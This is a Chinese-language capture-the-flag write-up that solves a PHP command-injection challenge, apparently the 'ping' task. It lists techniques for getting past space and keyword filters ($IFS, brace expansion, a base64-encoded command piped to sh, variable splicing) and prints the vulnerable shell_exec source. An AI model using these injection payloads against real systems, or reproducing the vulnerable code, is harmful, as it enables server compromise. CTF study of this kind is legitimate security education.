打开网站后,一眼就看到这样的提示,让你传个ip,传一下试试是什么,这里我们就用127.0.0.1试试
发现这是这是ping了一下传的ip,那这就是经典的命令执行了,首先执行ls看看都有什么文件
有flag.php,index.php两个,很明显flag就在flag.php里,首先所以可以尝试构造怕payload
/?ip=127.0.0.1|cat flag.php
不行,返回了这个/?ip= fxck your space!,说明空格被过滤了,那我们就要想办法用什么东西代替空格来绕过,大致有以下几种
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
首先尝试<>,{cat,flag.php},${IFS},<绕过失败,显示该符号被过滤了
之后%20,%09,这里会把它转成空格来识别,失败
最后用$IFS,$IFS$1符号绕过成功,但是又出现其他情况
flag这个字符被过滤了,那我们这时候试试index.php,用下面payload查看index.php
/?ip=127.0.0.1|cat$IFS$1index.php
得到index.php代码如下
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
可以看到,这里过滤掉了一堆字符,16进制,ascii码,空格,/,bash,已经各种flag的匹配
所以这里利用/,*,'',这几种符号构成的fl/ag,fl*,fl''ag这些绕过方法全部扑街
但是,虽然过滤了bash,但是liunx下还可以用sh,这时候就可以构造payload,用base64加密一下flag这个字符,最终构造如下payload
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh//这里的Y2F0IGZsYWcucGhw就是用base64加密的flag.php,后面的‘|sh’就是执行前面的echo脚本
最终在源码里找到flag
后来看到大佬的wp,说存在$a的变量覆盖,可以利用拼接变量的方法来解题,所以还可以构造这样的payload
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
同样可以得到flag,厉害!